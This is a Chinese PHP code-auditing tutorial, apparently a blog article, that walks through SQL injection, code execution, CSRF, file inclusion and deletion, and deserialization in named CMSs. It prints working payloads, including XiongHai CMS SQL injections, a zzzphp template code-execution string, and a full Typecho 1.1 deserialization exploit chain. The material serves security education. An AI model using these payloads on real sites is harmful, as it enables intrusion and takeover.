实战技巧 | 知其代码方可审计
0x001 审计前言
0x00 简介
终于来到了代码审计篇章。希望看了朋友有所收获,我们通常把代码审计分为黑盒和白盒,我们一般结合起来用。
通常我们白盒审计有多种方法我们可以归纳为:
1.通读全文
2.回溯
其中通读全文费时间,但是有利于代码审计的经验积累,也能更深入的挖掘一些难以发现的漏洞。功能回溯我们可以定向的审计一些功能和函数,最常见的就是对命令执行函数的回溯,和上传等功能的审计。通过熟悉白盒审计有利于漏洞的发掘,因为代码审计和开发都能熟悉到程序中那些地方会存在对数据库的操作和功能函数的调用,举个简单的例子当我们看到download的时候,我们就会想到是不是有任意文件下载。
0x01 环境与工具
我们在代码审计中又可以分为静态和动态,静态我们通常用于无法搭建原来的环境只能看代码逻辑来判断是否存在漏洞,而动态调试就可以debug、输出、监控SQL语句来看非常方便。
接下来代码审计工具基本就用到SublimeText3、VSCode、Seay源代码审计系统、PHPStorm+XDebug、文件对比、MYSQL监控、编码转换、正则调试等。其中文件对比工具可以拿来和更新补丁后的文件进行对于对比定位漏洞代码区,PHPStorm+XDebug可以动态调试定位漏洞成因,也有利于漏洞的发掘。当然你也可以用那些自动化审计的,貌似还支持代码回溯,还是能审计到一些漏洞的。环境能用基本就用phpstudy了。
0x02 知识准备
代码审计我们需要对php有一定的了解,当然是越深入越好,我们也不纠结,代码审计需不需要精通php什么的,只能说知识面在什么层次就能审计到什么层次的漏洞,但是至少你得看得懂代码。
我们应该具备一些知识:
1.基本的正则
2.数据库的一些语法(这个我在前面的数据库维基已经讲的差不多了)
3.至少你得看懂php代码
4.php配置文件以及常见函数
0x03 关于文章的一些问题
前面我们的实验环境我基本上不会使用框架类的,我尽量使用一些很普通的网站,还有如何用phpstudy之类的来本地搭建网站这些我也不会讲,这些基础的问题搜索一下就有,不能独立解决问题怎么能进步,遇到一些特殊的问题我还是会说一下的。
0x04 文末
当然如果你跟我一样是一个新手才入门代码审计,看这篇文章最好不过了,因为我会讲的很细,当然我可能很多东西也讲不到,还请大家多看看别人的审计思路,只有不断的学习才有提高。
0x002 SQL注入审计
0x00 简介
为什么第一章我们学习,因为看这篇文章的朋友大概也看过我前面写的MySQL_wiki系列,这里来SQL注入的话我们能方便理解,同时sql注入也是审计中我们经常想要找到的,比较以来就getshell什么的也不现实这种漏洞也不多。
0x01 字符型注入
这里我们看到sqli-libs第一关的代码
//including the Mysql connect parameters.
include("../sql-connections/sql-connect.php");
error_reporting(0);
// take the variables
if(isset($_GET['id']))
{
$id=$_GET['id'];
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);
// connectivity
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
if($row)
{
echo "";
echo 'Your Login name:'. $row['username'];
echo "
";echo 'Your Password:' .$row['password'];
echo "";
}
else
{
echo '';
print_r(mysql_error());
echo "";
}
}
else { echo "Please input the ID as parameter with numeric value";}
?>
我们可以看到调用$_GET['id']
获取参数内容,没有经过任何过来带入了SQL语句的查询,也就是代码没有任何过来且没开魔术引号,那么将会形成注入,如果开启魔术引号遇到数字型的我们还是能够注入的,因为magic_quotes_gpc
只会转义单引号、双引号、反斜线、NULL,但是数字型注入我们可以不试用到这些。
http://127.0.0.1/sqli/Less-1/?id=-1%27union%20select%201,user(),3-
0x02 编码类注入
有些为了业务需要他会把传入一些编码后的参数再解码带入数据库查询,我们常见的有base64编码,也有的程序会内置url解码,这类写法通常见于框架。
1.base64
include("../sql-connections/sql-connect.php");
$id=base64_decode($_GET['id']);
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
if ($row) {
echo "id:".$row['id']."
";echo "用户名:".$row['username']."
";echo "密码:".$row['password']."
";}else{
print_r(mysql_error());
}
echo '
';echo "查询的语句是:$sql";
?>
传入的值base64解密后带入查询,这种注入魔术引号是没办法拦截的,当我们遇到网站为base64编码的参数时可以留意下。
http://127.0.0.1/sqli/Less-1/base64.php
?id=JyB1bmlvbiBzZWxlY3QgMSx1c2VyKCksMyAtLSAr
2.urldecode
include("../sql-connections/sql-connect.php");
$id=urldecode($_GET['id']);
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
if ($row) {
echo "id:".$row['id']."
";echo "用户名:".$row['username']."
";echo "密码:".$row['password']."
";}else{
print_r(mysql_error());
}
echo '
';echo "查询的语句是:$sql";
?>
因为接受的参数只会被url解码一次,传入的值不是魔术引号认识的值所以可以
绕过
http://127.0.0.1/sqli/Less-1/base64.php
?id=%2527union%20select%201,user(),3--%20+
0x03 宽字节注入
$conn = mysql_connect('localhost', 'root', 'root');
mysql_select_db("security",$conn);
mysql_query("set names 'gbk' ",$conn);
$id=urldecode($_GET['id']);
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
if ($row) {
echo "id:".$row['id']."
";echo "用户名:".$row['username']."
";echo "密码:".$row['password']."
";}else{
print_r(mysql_error());
}
echo '
';echo "查询的语句是:$sql";
?>
网上有很多解释大家可以搜索一下我这里就不详细介绍了大概原因就是:
id=1'->id=1\'->id=1%5c%27
id=1%df'->id=1%df%5c%27->id=1%DF5C%27->id=1運'
当然还有其他各种类型的注入这里就不一一列举了,看了mysql系列文章的大概都知道,不知道的可以看看。
0x04 过滤
通常情况下一个成熟的cms是不存在不过滤的情况,一般的程序选择用函数来过滤比如addslashes()
,也可以开启魔术引号,但是更多的程序它采用正则匹配来过滤,
使用不正确的匹配替换方式反而导致被绕过的机会更大,比如有的程序把union
替换为空,那么我们就可以双写ununionion
绕过从而还可能绕过外部WAF,对于整数型一般采用intval()
等字符转换,后期通过实战一步一步讲解。
0x05 实战审计
找了半天源码,还是用这款熊海CMS V1.0吧,这款CMS感觉不错,什么洞都有,非常适合我们学习审计,同时审计这个cms的文章很多,大家如果觉得我写的不如人意,还能看看别人。
首先我们审计对传入的参数如果想快速的看是否有全局过滤,不妨找个文件输出一下$_POST
、$_GET
等等。
echo $_POST['b'];
echo $_GET['a'];
没有全局过滤 我们来到后台登陆文件admin/files/login.php 看看login.php一般登陆存在注入的可能性还是很大的
很明显 带入查询的user没有经过任何过滤,同时输出了错误,所以可以用报错查询,当然你也选择万能密码。
payload:
user=1111' and (updatexml(1,concat(0x7e,(select user()),0x7e),1))-- +&password=111&login=yes
在看看留言板 files/submit.php
传入参数没有过滤
同时插入的时候,这里使用了mysql_error()
所以可以用报错注入,否则只能使用盲注了。
payload:
cid=0&name='or updatexml(1,concat(0x7e,(version())),0) or'&mail=1111&url=http%3A%2F%2F1&content=%E9%98%BF%E5%BE%B7&save=%E6%8F%90%E4%BA%A4&randcode=&jz=1&tz=1
开始我们说过不是使用了过滤函数就万事大吉了,数字型注入可以不使用引号
我们看到传入的cid
已经被addslashes()
函数转义了,查询的地方都没啥问题,但是到浏览计数的时候调用了它,那么我们就可以使用盲注或者报错注入了,因为有错误回显。
payload:
http://127.0.0.1/xhcms/?r=content&cid=1%20and%20If(ascii(substr(database(),1,1))%3C10,0,sleep(10))
这个系统还有其他注入,想练手的自己下载审计一下,总体思路有用户交互的地方
都有可能存在注入,这也是我们没有通读代码的一个审计思路。
0x003 代码执行审计
0x00 简介
代码执行也是我们经常遇到的,通常是eval()
、assert()
,当然还有回调函数比如call_user_func()
array_map()
,正则函数,动态调用等等,因为程序对传入的参数过滤不严或者没有过滤,导致代码执行,看过我前面写的php的webshell总结的话,你就会发现很多知识是相辅相成的。
0x01 代码执行
这里说说eval的命令执行,assert在php7后面移除了。我们来看一个简单的eval代码执行
test.php
$id = $_GET['x'];
eval($id);
?>
payload:
test.php?x=phpinfo();
简单到waf以为他是个webshell了,当然我们实际情况肯定遇不到这么简单的,可能需要多重组合利用,这里下面我以一个实例为例
0x02 实战审计
这里使用的是zzzphp V1.6.0的一个解析标签过程中引发的代码执行,网上也有其他人的审计思路,这里我是帮朋友复现的时候弄的。
找个的审计思路是全局搜索eval,当然你也可以搜索其他的能够引发代码执行的函数,但是这个这-1里没有。
路径:\inc\zzz_template.php
我们发现eval里面有变量,那么他是可能存在代码执行的
大概看了下parserIfLabel()
函数没有什么过滤,能够达到我们传入任意参数的目的,到了这里我们就是回溯那里调用了这个函数呗,全局搜索下parserIfLabel()
,没搜索到,看了下是个类,所以搜索类名ParserTemplate
。
既然 \admin\save.php 调用了我们这个,不妨看看后台那里有模板操作这个
当然完全你也可以回溯代码去分析,但是既然有源码能看就看。
随便找个文件放入我们遵循他正则的代码即可,不过一般我们测试的过程中,尽量选择对目标影响小的文件。
payload:
{if:assert(phpinfo())}x{end if}
于此同类的还有苹果cms8.x,都是在解析标签过程中出现的问题,一般看到可以自定义解析标签那么就值得注意,命令执行与此类似,这里就不说了。
0x004 XSS与CSRF审计
0x00 XSS简介
XSS分为反射型和储存型,一般来说反射型的用处不是很大利用难度相对较高,存储型XSS一般常见于发布评论、留言、收获地址、个人信息等等。对于xss的审计我们一般就在这些点找,有用户控制输入信息输出的地方都是它出现的地方,很多网站的突破口可能就是一个XSS。
0x01 XSS实战审计
这次选用的CMS还是熊海,我们通过搭建环境查看输入的地方来审计,学习下高效率审计方式。
随意留言抓包看看他请求的url再去找相对的文件/?r=submit&type=message
当然你还是得看看他是怎么调用文件的,这里就是加载submit文件中的message方法。
我们来到 files/submit.php
前面的输入基本都没过过滤,到了最后一步$content
被 addslashes(strip_tags($content));
过滤,所以我们XSS其他地方即可,看到这里我们在挖洞的过程中所以不要纠结一点。
一般过滤xss的函数还有htmlspecialchars
,我们审计他的注意点就是查看一些输出函数print、print_r、echo、printf、die、var_dump、var_export。
0x02 Csrf
CCSRF实际上就是利用你的身份去发送恶意请求,我们需要知道CSRF分为GET型提交的和POST,前者危害更大,后者一般可以寻找XSS来配合我们。
GET型的比如一个链接 访问即可删除账号,然后你在论坛发帖构造 那么访问这个帖子的人账号都将会删除,POST的见下文,造成CSRF的原因就是没有使用token或者验证其他值,审计就看页面有没有token、referer验证,验证是否可以绕过,不过我推荐还是先黑盒,看看有没有token,删除了referer是否能够访问,再结合代码来看。
我们来看到zzzphp的后台,他是没有token的,同时我们前面审计到了他的代码执行,配合这个csrf就可以直接getshell。
如果你不会自己写这个代码,不妨使用burp生成一个测试页面,右键选择即可。
这是个需要点击的表单,你可以加一段JavaScript代码来自动提交。
0x03 组合利用
这里只是个简单的组合,由于没找到具体实验环境我只有简单的演示一下(懒) 本次选妃zzzphp,由于他后台没有的xss,我只能登陆后台后查看前台了。
1.构造CSRF表单自动提交 payload:
//burp生成的表单
2.插入iframe标签
payload:
还可以使用XMLHTTPRequest发送POST、GET,按情况选择,这里把payload插入手机号码。
用登陆了后台后访问页面,可以看到显示修改成功。
由于没找到想要的源码我简单介绍下利用XMLHTTPRequest来发包,漏洞程序还是熊海cms删除一友情链接
payload 1.js:
function del() {
var xhr = new XMLHttpRequest();
xhr.open('GET','/xiong/admin/?r=linklist&delete=6');
xhr.send(null);
}
del();
payload:
查看留言板可以看到我们的XMLHTTPRequest已经发包了
比较典型的例子可以看看 https://xz.aliyun.com/t/3177
0x05 文件操作审计
0x00 文件包含
本地包含
本地文件包含(Local File Include)简称 LFI,文件包含在php中,一般涉及到的危险函数有include()
、include_once()
、require()
、require_once()
,在包含文件名中存在可控变量的话就可能存在包含漏洞,由于这几个函数的特性也可能产生其他漏洞,后面一一讲到。
示例:
$file = $_GET['name'];
include($file);
?>
payload:
http://127.0.0.1/test.php?name=D:\phpstudy\PHPTutorial\MySQL\my.ini
这是个最简单的文件包含,没有任何过滤。但是一般程序不会这么写,一般会指定
后缀,这样我们就需要截断来绕过了。
$file = $_GET['name'];
include($file . "html");
?>
在PHP5.2.x中我们可以通过使用%00来截断后面的内容、也可以使用路径长度截断,不过都在php5.3中被修复了。
payload:
http://127.0.0.1/test.php?name=D:\phpstudy\PHPTutorial\MySQL\my.ini%00
利用字符.或者/.或者./来截断。系统文件路径长度限制:windows 259个byteslinux 4096个bytes。
远程包含
远程文件包含漏洞(Remote File Inclusion)简称RFI,他需要我们的php.ini中配置allow_url_include
、 allow_url_fopen
。
1.包含远程文件
需要打开allow_url_include=On
、 allow_url_fopen = On
他可以利用?号截断,不受版本限制
payload:
http://127.0.0.1/test.php?name=http://127.0.0.1/1.txt?
2.伪协议
file:// — 访问本地文件系统
http:// — 访问 HTTP(s) 网址
ftp:// — 访问 FTP(s) URLs
php:// — 访问各个输入/输出流(I/O streams)
zlib:// — 压缩流
data:// — 数据(RFC 2397)
glob:// — 查找匹配的文件路径模式
phar:// — PHP 归档
ssh2:// — Secure Shell 2
rar:// — RAR
ogg:// — 音频流
expect:// — 处理交互式的流
各种伪协议的使用方法网上很多,大家搜索一下吧。
实战审计
直接看主页index.php
//单一入口模式
error_reporting(0); //关闭错误显示
$file=addslashes($_GET['r']); //接收文件名
$action=$file==''?'index':$file; //判断为空或者等于index
include('files/'.$action.'.php'); //载入相应文件
?>
他会包含files目录下的文件,因为他没有过滤../所以可以包含任意目录下的文件,由于加了后缀所以漏洞存在于低版本php。
0x01 任意文件删除
任意文件删除审计一般来说我们都是搜索函数unlink
然后回溯去看。
inc\zzz_file.php
首先判断传入的参数是否为空,然后拼接路径,第516行中出现了一个函数ifstri
n
,我们跟进看看
只是个简单的判断没啥特殊情况,我们再来看看拿来调用了这个文件。
function file_path( $path ) {
$list=array();
$path= substr( $path, 0, strrpos( $path, '/' ));
$list=splits($path,'/');
return $list;
}
function arr_search($arr1, $arr2 ) {
$result=false;
foreach ( $arr1 as $v ) {
if(in_array( $v,$arr2 )) return true;
}
return $result;
}
获取参数,然后看看我们传入的路径是否存在这个数组里面的值,也就是基本上是没有过滤的,因为我们完全可以通过../ 跳回去。
payload:
POST /zzzp6p/admin/save.php?act=delfile
path=/zzzp6p/upload/../install/1install.lock
这里我们走的下面的分支不能删除 array( 'php', 'db', 'mdb', 'tpl' )
这个数组的文件。
要删除任意文件只需要使用
path=/zzzp6p/runtime/../install/1.db
让ifstrin()
为true走上面的分支即可。
一般来说我们任意文件删除 是配合删除install.lock来达到网站重装漏洞。
0x02 任意文件下载
任意文件下载常见于文件的显示和下载的地方,一般关注的文件是和下载有关的,比如download。当然你还可以搭建源码,来寻找能够下载的地方。
常见的下载或读取函数:file_get_contents()
、readfile()
、fopen()
在网上找到个别人审计的实例,结合起来审计一下,用到的源码是Ear_Music_20180820_UTF8
搜索down相关的词语,找到文件\template\default\source\down.php
我们看看$file
参数怎么来的,先是调用函数getfield()
,转到函数去看看
不出意外应该是从数据库中读取路径,再来看看geturl()
函数
构造下载地址,这些地方没什么问题,我们来看看什么地方对储存地址的表中插入了数据,搜索表名lyric
。
\source\user\music\ajax.php
我们看到$lyric
经过checkrename
,SafeRequest
这两个函数的清洗,先来转到函数SafeRequest
。
我们传入的mode是get,然后经过addslashes()
的转义,下面在替换为空,也就是我们基本上是不能使用\\
了,我们在看看checkrename
这里正则匹配了我们的
.\
?iframe=
.php?
这里完全看不懂他匹配后缀为php?这个的意义何在,直接php就绕过了。
所以综合起来就是不要带有\ 和 ./
这里我们只要传入绝对路径就可以了
登陆前台找到上传歌曲的页面在歌词地址中插入payload
payload:
D:/phpstudy/PHPTutorial/WWW/Ear_Music/template/default/source/down.php
0x03 文件上传
文件上传只有一个函数move_uploaded_file()
一般来说,我们就可以搜索这个函数来回溯,看他的验证方式,是黑名单还是白名单,是否是前端限制,是否只是简单的验证了文件头,是否是能绕过的正则匹配,是否渲染了图片。
结合zzzphp来审计一下文件上传,全局搜索move_uploaded_file
\zzzcms\inc\zzz_file.php
回溯看看那里调用了这个函数
典型的黑名单验证,可以使用asa绕过,只需要在后台添加这个扩展名
上传即可,当然也可以通过上图中的 switch分支,只要传入的 type不是他的类型就可以跳过后台添加这个步骤,
0x04 文末
对文件的操作还见于写入其他配置文件,典型的有thinkphp缓存文件写入。
0x06 逻辑漏洞审计
0x00 简介
逻辑漏洞是指由于程序逻辑不严,或者函数使用不当,导致发生越权访问,cookies绕过,越权密码修改,重复安装等等问题。一般逻辑漏洞的挖掘需要对代码有一定阅读能力。
0x01 越权
越权一般是对cookies的验证不严或者没有验证,一般我们审计后台发现某个功能没有包含验证文件,那么很有可能发生越权操作,当然越权有很多不仅仅局限于一个后台访问的问题。
在众多大型网站越权问题也时常发生的,这也是漏洞挖掘中大家都比较喜欢的,有些越权在黑盒测试中或许更加容易发现,所以代码审计大家灵活运用,不要局限了你的思路。
越权是个大的专题,我应该是讲不了多少还是请大家多看看文章。
1.后台越权:后台某些页面没有引入验证文件
比如这里熊海cms如果我们删除这个验证,那么就可以直接访问这个页面,有很多程序员他会忘记每个页面都添加。
2.水平越权:一个用户尝试访问与他拥有相同权限的用户的资源,比如删除收获地址处没有验证权限,导致越权删除其他人的地址。
我们用zzzcms这个程序来做演示 zzzcms\form\index.php
他这里是edituser是没有越权的,我这里只是讲解一下,简单的介绍一下越权如何去审计。我们看这个代码他最后update的时候是修改我们的uid现对的值,而我们的uid是POST包获取的,也就是如果我们可控uid那么就能越权修改其他人的资料。但是这里有一条验证$uid != get_session( 'uid' )and back( '很抱歉,资料修改失败' );
所以没办法越权,为了演示我们可以删除了来看看。
成功把UID为1的用户的资料修改了。
3.垂直越权:一个低级用户尝试访问高级别用户的功能。
0x02 cookies验证不严
这里用到熊海CMS,我们随便点击一个后台页面,前面包含了一个验证文件
require '../inc/checklogin.php';
来看看这个文件
判断我们的cookies里面user是否为空,不为空就可以访问后台了。
0x03 安装程序逻辑问题
这里找了半天源码发现红日安全写过一个Simple-Log1.6这里就用他这个源码了。
这里他判断是否安装了,然后就直接跳转到主页,而程序没有退出,那么后面的依然可以执行,也就是说直接post后面的程序即可安装。
这类没有正确退出的造成的漏洞还是蛮多的,在后台等地方可以好好关注一下。
0x04 文末
当然逻辑漏洞不止就这些,还有其他的问题比如验证码逻辑的绕过,函数的缺陷,推荐大家多看看别人的审计文章。
0x007 函数或弱类型的缺陷和特性
0x00 in_array()
in_array(search,array,type)
如果给定的值 search 存在于数组array 中则返回true。如果第三个参数设置为true,函数只有在元素存在于数组中且数据类型与给定值相同时才返回 true。如果没有在数组中找到参数,函数返回 false。
那么为什么会出现安全问题呢,我们来看看下面代码
在没设置第三个参数的情况下in_array()
函数将会吧1 and 1=1
转为数字1比较,那么这样就造成了一些安全问题,在注入或上传的情况下可能绕过。
0x01 is_number()
is_number()
函数他会判断变量是否为数字或者数字字符串,假如我们传入的字符串为16进制,那么他也是认定为数字的。
我们知道我们向mysql插入数据的时候是可以是16进制的,他取出来就会还原成原始字符串,这样用is_number()
函数检测后肯能就会存在二次注入。
0x02 PHP弱类型的特性
php是一款弱类型语言,他在使用==比较字符串的时候会把字符串类型转化成相同的再比较,那么这样也会造成一些问题.
他能遇到字符串的0e,0x就会解析成对应的科学计数和16进制。
0x03 switch()
case是数字类型时,switch会把参数转换为int类型
0x04 strcmp()
比较函数如果两者相等返回0,string1>string2返回>0 反之小于0。在5.3及以后的php版本中,当strcmp()括号内是一个数组与字符串比较时,也会返回0。
0x05 preg_match()
如果在进行正则表达式匹配的时候,没有限制字符串的开始和结束(^ 和 $),则可以存在绕过的问题。
0x06 文末
当然还有反序列化、变量覆盖等等,这里就不全部写了,我会单独拿出来写,还有一些函数的特性留给大家自行搜索。
0x008 变量覆盖审计
0x00 简介
变量覆盖,顾名思义就是可以覆盖已有变量值,导致变量覆盖的漏洞有:
extract()
,parse_str()
,import_request_variables()
使用不当,或者使用了$$
或者开启了全局变量注册。
0x01 变量覆盖演示
extract()
extract(array,extract_rules,prefix)
函数从数组中将变量导入到当前的符号表,即将数组中的键值对注册成函数,使用数组键名作为变量名,使用数组键值作为变量值。
可以看到我们初始变量值为a但是覆盖之后就变成了我们输入的值。
parse_str()
parse_str()
函数用于把查询字符串解析到变量中,如果没有array参数,则由该函数设置的变量将覆盖已存在的同名变量。在没有array参数的情况下使用此函数,并且在PHP 7.2中将废弃不设置参数的行为,此函数没有返回值。
import_request_variables()
import_request_variables ( string $types , string $prefix )
将 GET/POST/Cookie 变量导入到全局作用域中, types 参数指定需要导入的变量,G代表GET,P代表POST,C代表COOKIE。此函数只能用于PHP4.1 ~ PHP5.4。
$$
典型的例子就是foreach来遍历数组中的值作为变量。
其中$_key
的值为a,那么 $a
的值就被覆盖为2了。
还有全局注册register_globals这些,php配置默认都是关闭的。
0x02 实战审计
本次用到的是MetInfo cms的变量覆盖漏洞,跟进主页来到核心配置文件
\include\common.inc.php
看到文件的24~28行,明显用到了我们上面说的&&变量覆盖的写法,不过这里他用到了daddslashes()
防注入,不过并不影响我们这章讲的知识。
随便来到一个子文件看看他的加载方式\news\index.php
第7行包含一个变量,那么这个变量在什么地方,我们跟进
include/module.php 看看,在本文件搜索$module
变量。
这里其实低版本的源码中没有这句话$module='';
其中$module
变量都在$fmodule!=7
这个if条件中,我给大家打包的是低版本,我安装错了。也就是只要我们传入的$fmodule
的值为7那么我们就可以覆盖这个$module
的值
只要上传一张图片或者其他文件就可以包含了,因为require_once
的时候并没有判断他的后缀名。
在变量覆盖的时候一定要注意初始化的值和覆盖的顺序。
0x009 反序列化审计
0x00 简介
PHP反序列化漏洞,在我们使用unserialize()
进行反序列化的时候,如果反序列化对象中存在一些我们可以利用的魔法函数且传入的变量可控,那么这个过程就可能触发这个魔法函数,来执行我们想要的过程。
0x01 初识反序列化
反序列化我们需要了解php的类和魔术方法,这里举个简单的例子用到的魔术方法是__destruct
销毁一个类之前执行执行析构方法。
当对象创建后输出我们的$a
变量的值。那么我们把它的值改变后用serialize()
看看
O:4:"test":1:{s:1:"a";s:5:"12345";}
是我们序列化的值,然后
unserialize($_GET['id']);
传入我们改变的值O:4:"test":1{s:1:"a";s:3:"404";}
成功打印了我们的改变的值,因为反序列化我们可以控制类属性且这个过程会触发这些能够触发的魔术方法。
这里网上可以找到一些魔术方法,当然还有些可以绕过具体大家搜索一下我这里就不细写了,具体情况具体分析,反序列化难一点的还是需要很大的耐心才能完成。
__wakeup() //使用unserialize时触发
__sleep() //使用serialize时触发
__destruct() //对象被销毁时触发
__call() //在对象上下文中调用不可访问的方法时触发
__callStatic() //在静态上下文中调用不可访问的方法时触发
__get() //用于从不可访问的属性读取数据
__set() //用于将数据写入不可访问的属性
__isset() //在不可访问的属性上调用isset()或empty()触发
__unset() //在不可访问的属性上使用unset()时触发
__toString() //把类当作字符串使用时触发
__invoke() //当脚本尝试将对象调用为函数时触发
0x02 简单的一道题
下面我改了写一道简单的CTF,看看怎么利用它。
class foo1{
public $varr;
function __destruct(){
$this->varr->evaltest();
}
}
class foo2{
public $str;
function evaltest(){
eval($this->str);
}
}
?>
我们看到在foo2中evaltest()
函数中存在eval,而foo1中调用了函数evaltest()
,我们就想可不可以让foo1调用foo2中的evaltest()
函数顺边还把它的$str
中的值改写了。
class foo1{
public $varr;
function __construct(){
$this->varr = new foo2();
}
}
class foo2{
public $str;
function __construct(){
$this->str = 'phpinfo();';
}
}
$obj = new foo1();
echo serialize($obj);
?>
我们把$varr
变量赋值为new foo2()
然后它再去调用 evaltest()
函数 然后我们把$str
的值换成 我们想执行的命令。
0x03 实例审计
找了半天源码我觉得最有意义的,审计的最多的一次反序列化当属Typecho1.1版本的漏洞了。可能看起来有点吃力我尽量分析的详细一点。
来到文件 install.php
我们看到要绕过install.php
这个程序的exit
我们只需要传入的finish
值不为空且referer
为本站的值就能绕过。
我们来到核心部分
这里调用Typecho_Cookie
类的get
方法,我这里就不跟进去了,就是获取cookies的__typecho_config
字段值,然后base64_decode()
在进行反序例化赋值给变量$config
,然后我们全局搜索下魔术方法__destruct
之类的发现没有可以利用的点.
然后我们跟进这个Typecho_Db
类看看,他传入了$config['adapter']
和 $config['prefix']
。
var\Typecho\Db.php
这里使用.
连接$adapterName
为一个类的话那么会触发__toString()
这个魔术方法。
然后全局搜索__toString()
,来看看那里可以利,找到\var\Typecho\Feed.php
。
如果$item['author']
是一个类且screenName
是一个私有或者未定义的属性那么就会自动触发__get()
那么我们就搜索看看那里有可以利用的__get()
在var\Typecho\Request.php 有这么一处
我把跟进的代码都放在了一块,其中__get调用了get()
函数,然后它又调用了_applyFilter()
函数,其中还有可以造成命令执行的回调函数
call_user_func()
和array_map()
其中参数还可以控制,那么我的攻击链也算找完了,下面来梳理一下
攻击链:
install.php
|
绕过程序退出来到unserialize()
|
db.php中__construct() 触发__toString()
|
Feed.php中__toString触发__get()
|
request.php中__get()调用get()->_applyFilter()->回调函数
下面来构造exp,为了方便理解我们可以从尾到头来写
首先我们需要_applyFilter
中的$filter
的值为一个命令函数这里一般选择assert()
,然后要让get()
中的$value
就是我们传入的命令也就是_params['screenName']
,所以可以构造如下。
class Typecho_Request
{
private $_params = array('screenName' =>'eval(\'phpinfo();exit();\')');
private $_filter = array('assert');
}
request.php
构造完了再构造Feed.php
中需要的值,这里我们要进入$item
['author']->screenName
这个前面有个self::RSS2 == $this->_type
语句 RSS2= RSS 2.0所以赋值对应的,这里的调用跟我前面写的那个CTF类似。
class Typecho_Feed
{
private $_type = 'RSS 2.0';
private $_items ;
public function __construct (){
$this->_items[] = array('author' => new Typecho_Request());
}
}
最后回到install.php
中
看到$db=newTypecho_Db($config['adapter'],$config['prefix']);
触发db.php
中的__construct()
需要传入2个值,但是有个是默认的所以我们传入一个我们序列化的上面的值就可以了。
payload :
class Typecho_Request
{
private $_params = array('screenName' =>'eval(\'phpinfo();exit();\')');
private $_filter = array('assert');
}
class Typecho_Feed
{
private $_type = 'RSS 2.0';
private $_items ;
public function __construct (){
$this->_items[] = array('author' => new Typecho_Request());
}
}
$payload = array('adapter'=>new Typecho_Feed());
echo base64_encode(serialize($payload));
?>
为什么这里payload phpinfo();exit();
中有exit()
,因为程序开始使用了ob_start()
这个函数会把输出放进缓冲区,触发异常后ob_end_clean()
会清空缓冲区,导致没有回显。所以可以找到个函数来跳出或者执行后我们报错跳出又或者直接不要回显写入一句话。
这类反序列化一般寻找起来还是很有难度的,个人感觉两头向中间来找方便一些,找到可以利用的入口,再到可以利用的函数,再从入口点想办法到利用点。
0x04 文末
反序列化的地方还可以搭配注入 比如espcms的search.php注入。
0x010 通读全文审计
0x00 简介
通读全文推荐大家开始可以审计一些比较好看懂的CMS,我们先看大体网站框架,这里你大概知道什么文件夹是放什么类型的文件,然后从index.php
文件开始往里面读,然后重点关注是否有全局过滤等等。
0x01 实例审计
本文用到的源码是zzzphp,我们通过这个程序粗略的了解如何通读全文代码来审计,这里只做简单分析,不深入审计。
了解网站框架
├─admin //后台
├─config //配置文件
├─form //前台
├─images //图片
├─inc //包含文件
├─install //安装文件
├─js //js文件
├─plugins //插件
├─runtime //临时
├─search //搜索
├─template //模板
├─upload //上传文件夹
└─wap //手机
首先我们看到这个结构,有一点审计基础或者会点英语应该都能看懂这些目录的意思,当然也有个别程序猿喜欢另类一点的命名规则,大体都是这样。
了解网站过滤与路由
我觉得全文通读不是无脑的去挨着读,这样比较浪费时间,我们一般应该先去读他的核心文件,一般都在包含文件夹里面,怎么去找核心文件一般是看文件名比如包含main
common
等等,也可以看看文件大小一般核心文件包含函数多文件相对较大,还可以通过入口文件一步一步去看,比如这里的核心文件就zzz_main.php
我们无非是先关注参数的获取、是否有全局过滤。
我们来到 \inc\zzz_main.php
getlocation()
解析URL
getform()
获取参数
过滤函数txt_html()
但是通常有关过滤的函数包含一些字符safe
之类 或者包含函数 htmlspecialchars()
addslashes()
了解系统DB类
除了这个文件我们还可以看看mysql
db
之类的关键词文件,看看他数据库连接的方式是否存在宽字节注入的可能,还有他的连接方式。
开始审计
看完这些我们就可以从index.php
一层一层读了。
来到 index.php
直接包含文件inc/zzz_client.php
先判断isinstall
然后执行后面
看到最后一句ParseGlobal(G('sid'),G('cid'));
这里调用了ParseGlobal()
函数我们可以跟进去看看。
进入if分支
if ( $sid > 0 ) {
$data = db_load_one( 'sort', 'sid=' . $sid );
跟进函数db_load_one()
这里会把传入的&替换为and
跟进函数 find_one()
这里我就不详细跟了只介绍思路,基本上确定这里如果传入的参数没过滤那么这里就会存在注入。
这里跟一下G()
就会发现是$GLOBALS['sid']
获取的,也就是前面解析url那里获取的值也没有过滤,那么这里基本上就是一个注入了。
读完这些文件我们就可以从各个功能文件夹的index读进去,比如这里我们来到\search\index.php
define('LOCATION', 'search');
require dirname(dirname(__FILE__)). '/inc/zzz_client.php';
还是回到刚刚我们跟进的文件 /inc/zzz_client.php
搜索search
关键词
然后读源码分析
case 'search':
$tplfile= TPL_DIR . 'search.html';
break;
看到选中Search
后赋值给了变量$tplfile
然后我们在追踪变量在那个地方被
调用过
发现他解析模板的过程,然后跟进ParserTemplate
来到inc\zzz_template.php
然后往下面读发现一个函数getform()
getform()
函数获取过滤之后还被被 safe_key()
函数过滤,但是看到下面还有函数get_cookie
看样子也是获取参数的,但是这个用到函数isset()
他是一个检测变量的函数,定义了即为true 所以这里根本进不去,不然就是一个注入了,当然这也是一个老版本的注入,我这里的版本已经修复了。接下来还可以从admin
的index.php
开始读,多关注一些功能点,推荐可以搭建起来熟悉一下整套程序。
0x02 文末
通读这个ZZZCMS 我们可以知道,他在调用getform()
函数的时候我们基本不考虑注入了,因为已经被过滤了,除非他后面用其他函数处理了一下。在调试复杂语句的时候我们可以通过mysql监控软件来调试。当我们发现一类函数或者写法存在漏洞的时候,可以使用全文搜索,来查找相同的代码对一类进行完整挖掘。
END.
欢迎转发~
欢迎关注~
欢迎点赞~